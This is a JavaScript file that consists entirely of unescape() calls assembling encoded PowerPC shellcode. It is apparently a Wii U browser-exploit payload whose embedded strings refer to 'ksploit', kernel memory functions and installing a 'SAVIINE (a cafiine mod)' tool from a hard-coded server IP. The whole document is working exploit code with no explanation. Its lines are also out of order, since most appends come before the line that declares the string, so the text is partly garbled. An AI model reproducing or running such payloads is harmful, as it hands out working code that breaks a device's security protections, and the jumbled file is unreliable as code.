str += unescape("%u8361%u014c%u8381%u0150%u83a1%u0154%u83c1%u0158%u83e1%u015c%u3821%u0160%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u3d20%u1000%u6129%u00e4%u93a1%u001c%u9001%u002c%u7cbd%u2b78%u93c1%u0020%u7c9e%u2378");
str += unescape("%u8189%u0000%u3d20%u0a00%u93e1%u0024%u7c7f%u1b78%u7f8c%u4800%u419e%u0038%u3940%u0020%u392c%u007c%u38a0%u0000%u7d49%u03a6%u4800%u000c%u38a5%u0001%u4240%u001c%u8569%u0004%u7f9f%u5800%u409e%ufff0");
str += unescape("%u812c%u0280%u2f89%u0000%u419e%u0038%u3d20%u011e%u8001%u002c%u8129%uf410%u7fe3%ufb78%u7fc4%uf378%u83e1%u0024%u83c1%u0020%u7fa5%ueb78%u7d29%u03a6%u83a1%u001c%u3821%u0028%u7c08%u03a6%u4e80%u0420");
str += unescape("%u7fe3%ufb78%u7fc4%uf378%u90c1%u0008%u90e1%u000c%u9101%u0010%u4bff%ufbe5%u3d20%u1000%u3940%u0001%u6129%u00e4%u8001%u002c%u8129%u0000%u7fe3%ufb78%u8101%u0010%u7fc4%uf378%u9149%u0280%u3d20%u011e");
str += unescape("%u8129%uf410%u7fa5%ueb78%u80e1%u000c%u7c08%u03a6%u80c1%u0008%u83a1%u001c%u7d29%u03a6%u83c1%u0020%u83e1%u0024%u3821%u0028%u4e80%u0420%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c");
str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u2add%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000");
str += unescape("%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020");
str += unescape("%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000");
str += unescape("%u4bee%u1e89%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c");
str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u1625%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u34e9");
str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u1b15%u2f83%u0000%u419c%u0070%u3c80%u1001");
str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u6d39%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c");
str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u3585%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6");
str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u3558%u7c08%u02a6%u9421%uffd0%u93a1%u0024%u3fa0%u1000%u9001%u0034%u63bd%u00e4%u9361%u001c%u7cdb%u3378%u813d%u0000");
str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93c1%u0028%u7cbe%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u2b5d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001");
str += unescape("%u9149%u0284%u419e%u0130%u391e%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3d%u0b78");
str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0110%u7cfe%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378");
str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u00a0%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u2f83%u0000%u419c%u0014%u893f%u0008%u3bc0%u0001%u2b89%u0008%u419e%u0008%u3bc0%u0002%u7f83%ue378%u389f%u0008");
str += unescape("%u38a0%u0001%u4bff%ufd3d%u2f83%u0000%u419c%u005c%u893f%u0008%u2b89%u00fe%u409e%u0050%u3d20%u1000%u3940%u0000%u6129%u00e4%u397f%u0030%u8129%u0000%u7fc3%uf378%u9149%u0284%u8121%u0000%u913d%u0000");
str += unescape("%u7fa1%ueb78%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u8121%u0000%u913d%u0000%u7fa1%ueb78%u397f%u0030%u800b%u0004%u3d20%u1000");
str += unescape("%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u3860%uffff%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%ufeec");
str += unescape("%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024");
str += unescape("%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018%u4bf7%u2971%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036");
str += unescape("%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001");
str += unescape("%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufb21%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufba5%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6");
str += unescape("%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c");
str += unescape("%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u2855%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0");
str += unescape("%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufa45%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001");
str += unescape("%u4bff%ufac1%u2f83%u0000%u419c%u0060%u8921%u0010%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufa9d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000");
str += unescape("%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000");
str += unescape("%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78");
str += unescape("%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u2721%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284");
str += unescape("%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008%u93a1%u0009%u93c1%u000d%u4bff%uf915%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020");
str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc");
str += unescape("%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u2661%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284");
str += unescape("%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6");
str += unescape("%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf7f9%u3d40%u1000%u614a%u00e4");
str += unescape("%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020");
str += unescape("%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u1414%u636f%u7265%u696e%u6974%u2e72%u706c");
str += unescape("%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661");
str += unescape("%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564");
str += unescape("%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e");
str += unescape("%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363");
str += unescape("%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000");
str += unescape("%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665");
str += unescape("%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00");
str += unescape("%u7676%u7600%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c");
var str = unescape("%ucafe%ucafe%u9421%uff60%u7c08%u02a6%u9001%u00a4%u93e1%u009c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u3d20%u0101%u6129%uf510%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800");
str += unescape("%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1900%u7d29%u03a6%u4e80%u0421%u4800%u04d0%u395f%u0024%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u190c%u7d44%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u813f%u0024%u913f%u006c%u811f%u0024%u395f%u0028%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1918%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0028%u395f%u0054%u7d43%u5378");
str += unescape("%u3880%u0000%u38a0%u003c%u7d29%u03a6%u4e80%u0421%u813f%u0028%u913f%u0070%u3920%u0000%u913f%u002c%u811f%u0024%u395f%u002c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0001%u3d00%u0180%u38a8%u1920");
str += unescape("%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u002c%u8129%u0000%u913f%u0074%u811f%u0024%u395f%u002c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0001%u3d00%u0180%u38a8%u193c%u7d46%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u002c%u8129%u0000%u913f%u0078%u811f%u0024%u395f%u0030%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1954%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024");
str += unescape("%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u195c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
str += unescape("%u3d00%u0180%u38a8%u1968%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u197c%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u811f%u0024%u395f%u0040%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1990%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7d29%u03a6%u4e80%u0421%u907f%u000c%u813f%u003c");
str += unescape("%u3860%u0100%u3880%u0040%u7d29%u03a6%u4e80%u0421%u907f%u0010%u813f%u0028%u807f%u0010%u3880%u0000%u38a0%u0100%u7d29%u03a6%u4e80%u0421%u813f%u0038%u807f%u000c%u809f%u0010%u38a0%u0003%u38c0%u0000");
str += unescape("%u38e0%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0034%u807f%u000c%u7d29%u03a6%u4e80%u0421%u813f%u0040%u807f%u0010%u7d29%u03a6%u4e80%u0421%u3d20%u1fff%u6129%uffff%u913f%u0008%u6000%u0000%u813f%u0008");
str += unescape("%u3949%uffff%u915f%u0008%u2f89%u0000%u409e%ufff0%u811f%u0024%u395f%u0044%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u19a0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024");
str += unescape("%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u19b0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
str += unescape("%u3d00%u0180%u38a8%u19c0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0074%u3860%u2000%u3880%u0020%u7d29%u03a6%u4e80%u0421%u907f%u0014%u813f%u0074%u3860%u06a0%u3880%u0008%u7d29%u03a6%u4e80%u0421");
str += unescape("%u907f%u0018%u813f%u0018%u2f89%u0000%u419e%u0010%u813f%u0014%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u19d8%u7d29%u03a6%u4e80%u0421%u817f%u0044%u813f%u0014%u3929%u2000");
str += unescape("%u395f%u0054%u807f%u0018%u3d00%u0180%u3888%u0e6c%u38a0%u0001%u7d46%u5378%u7d27%u4b78%u3900%u2000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u907f%u001c%u813f%u001c%u2f89%u0000%u409e%u001c");
str += unescape("%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u19fc%u7d29%u03a6%u4e80%u0421%u813f%u0048%u807f%u0018%u7d29%u03a6%u4e80%u0421%u3920%u0000%u913f%u0050%u815f%u0024%u393f%u0050%u7d43%u5378%u7d24%u4b78");
str += unescape("%u4800%u0115%u907f%u0020%u4800%u0024%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u813f%u004c%u807f%u0018%u7d29%u03a6%u4e80%u0421%u7c69%u1b78");
str += unescape("%u2f89%u0000%u419e%uffc8%u813f%u0078%u807f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0078%u807f%u0014%u7d29%u03a6%u4e80%u0421%u813f%u0020%u2f89%u0000%u419e%u001c%u393f%u0054%u7d23%u4b78%u4800%u0fc9");
str += unescape("%u3d20%ua11e%u815f%u0050%u9149%u0000%u813f%u0054%u2f89%u0000%u419e%u0018%u813f%u0078%u815f%u0054%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0058%u2f89%u0000%u419e%u0018%u813f%u0078%u815f%u0058");
str += unescape("%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u813f%u005c%u2f89%u0000%u419e%u0018%u813f%u0078%u815f%u005c%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u3d20%u0101%u6129%ucd70%u7d29%u03a6%u4e80%u0421%u397f%u00a0");
str += unescape("%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%ufe98%u7c08%u02a6%u9001%u016c%u93e1%u0164%u7c3f%u0b78%u907f%u0158%u909f%u015c%u395f%u0028%u3d20%u0102%u6129%ub790%u807f%u0158");
str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1a14%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u002c%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a24%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u395f%u0030%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a3c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u0034%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180");
str += unescape("%u38a8%u1a50%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u0038%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a68%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u003c%u3d20%u0102");
str += unescape("%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a80%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u3d20%uc0a8%u6129%u0102%u913f%u0040%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000");
str += unescape("%u913f%u001c%u813f%u0028%u7d29%u03a6%u4e80%u0421%u813f%u002c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u002c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018");
str += unescape("%u813f%u0030%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u0030%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0034%u3860%u0000%u809f%u001c%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0034%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u815f%u0014%u3d20%u0102%u6129%u3ee8%u3c60%uf400%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0014%u3d09%uf400%u815f%u0018");
str += unescape("%u3d20%u0102%u6129%u3ee8%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u0094%u3d20%u0102");
str += unescape("%u6129%ua31c%u3d00%u0180%u3868%u1a94%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0094%u395f%u0098%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1aa0%u7d46%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0098%u391f%u00a0%u395f%u009c%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u3920%u0001%u913f%u0020");
str += unescape("%u3920%u0000%u913f%u000c%u3920%u0000%u913f%u0010%u813f%u003c%u3860%u0001%u3880%u000e%u38a0%u0001%u3d40%u0180%u38ca%u1aac%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041");
str += unescape("%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0044%u3ca0%u0102%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1ad0%u3cc0%u0180%u38c6%u1ae8%u7d69%u03a6");
str += unescape("%u4cc6%u3182%u4e80%u0421%u813f%u003c%u395f%u0044%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1af8");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1b18%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0024%u813f%u003c");
str += unescape("%u895f%u0024%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1b30%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0038%u3860%u0001%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0034%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0098%u391f%u00a0%u395f%u009c%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u00a4");
str += unescape("%u5529%u07bc%u2f89%u0000%u419e%u0010%u3920%u0000%u913f%u000c%u4800%u01e0%u813f%u00a4%u5529%u0420%u2f89%u0000%u419e%u001c%u815f%u0040%u813f%u015c%u9149%u0000%u3920%u0001%u913f%u000c%u4800%u01b8");
str += unescape("%u813f%u00a4%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008");
str += unescape("%u5529%u063e%u993f%u0008%u813f%u00a4%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u00a0%u5529%u05ac%u2f89%u0000%u409e%u0014");
str += unescape("%u813f%u00a4%u5529%u05ac%u2f89%u0000%u419e%u0070%u813f%u0010%u3929%uffff%u913f%u0010%u813f%u0010%u2f89%u0000%u419d%u0054%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e");
str += unescape("%u394a%u0001%u554a%u063e%u391f%u0008%u7d28%u4a14%u9949%u0038%u813f%u00a4%u5529%u05ac%u2f89%u0000%u419e%u000c%u3920%u001e%u4800%u0008%u3920%u0003%u913f%u0010%u4800%u009c%u4800%u0098%u813f%u00a0");
str += unescape("%u5529%u05ee%u2f89%u0000%u409e%u0014%u813f%u00a4%u5529%u05ee%u2f89%u0000%u419e%u0070%u813f%u0010%u3929%uffff%u913f%u0010%u813f%u0010%u2f89%u0000%u419d%u0054%u893f%u0008%u5529%u063e%u395f%u0008");
str += unescape("%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u554a%u063e%u391f%u0008%u7d28%u4a14%u9949%u0038%u813f%u00a4%u5529%u05ee%u2f89%u0000%u419e%u000c%u3920%u001e%u4800%u0008%u3920%u0003%u913f%u0010");
str += unescape("%u4800%u0010%u4800%u000c%u3920%u0000%u913f%u0010%u813f%u00a0%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufca0%u813f%u000c%u7d23%u4b78%u397f%u0168");
str += unescape("%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%uffd0%u7c08%u02a6%u9001%u0034%u93e1%u002c%u7c3f%u0b78%u907f%u0018%u909f%u001c%u90bf%u0020%u90df%u0024%u813f%u0024%u913f%u0008");
str += unescape("%u815f%u001c%u813f%u0020%u7d2a%u49d6%u913f%u000c%u4800%u0098%u813f%u0008%u8129%u0000%u2f89%u0000%u419e%u0020%u813f%u0008%u8129%u0010%u815f%u0008%u814a%u0000%u7d43%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u813f%u0008%u8129%u0008%u3d49%u0002%u813f%u0008%u9149%u0008%u813f%u0008%u8129%u000c%u815f%u0008%u814a%u0008%u7d43%u5378%u3880%u0020%u7d29%u03a6%u4e80%u0421%u7c6a%u1b78%u813f%u0008%u9149%u0000");
str += unescape("%u813f%u0008%u8129%u0000%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1b34%u7d29%u03a6%u4e80%u0421%u813f%u0008%u8149%u0004%u813f%u000c%u7d4a%u4a14%u813f%u0008%u8129%u0008");
str += unescape("%u7f8a%u4800%u419d%uff50%u813f%u0008%u8149%u0000%u813f%u0008%u8129%u0004%u7d4a%u4a14%u3d20%u0103%u6129%u5a6c%u7d43%u5378%u809f%u0018%u80bf%u000c%u7d29%u03a6%u4e80%u0421%u813f%u0008%u8149%u0004");
str += unescape("%u813f%u000c%u7d4a%u4a14%u813f%u0008%u9149%u0004%u813f%u000c%u7d23%u4b78%u397f%u0030%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%uffc0%u7c08%u02a6%u9001%u0044%u93e1%u003c");
str += unescape("%u7c3f%u0b78%u907f%u0028%u909f%u002c%u90bf%u0030%u90df%u0034%u813f%u0028%u8129%u0020%u913f%u0018%u813f%u0028%u8129%u0024%u913f%u001c%u3920%u0000%u913f%u000c%u3920%u0000%u913f%u0010%u3920%u0000");
str += unescape("%u913f%u0014%u813f%u0028%u8129%u002c%u807f%u002c%u3880%u2712%u80bf%u0030%u7d29%u03a6%u4e80%u0421%u813f%u0028%u8129%u002c%u807f%u002c%u3880%u4e2b%u3d40%u0180%u38aa%u0b90%u7d29%u03a6%u4e80%u0421");
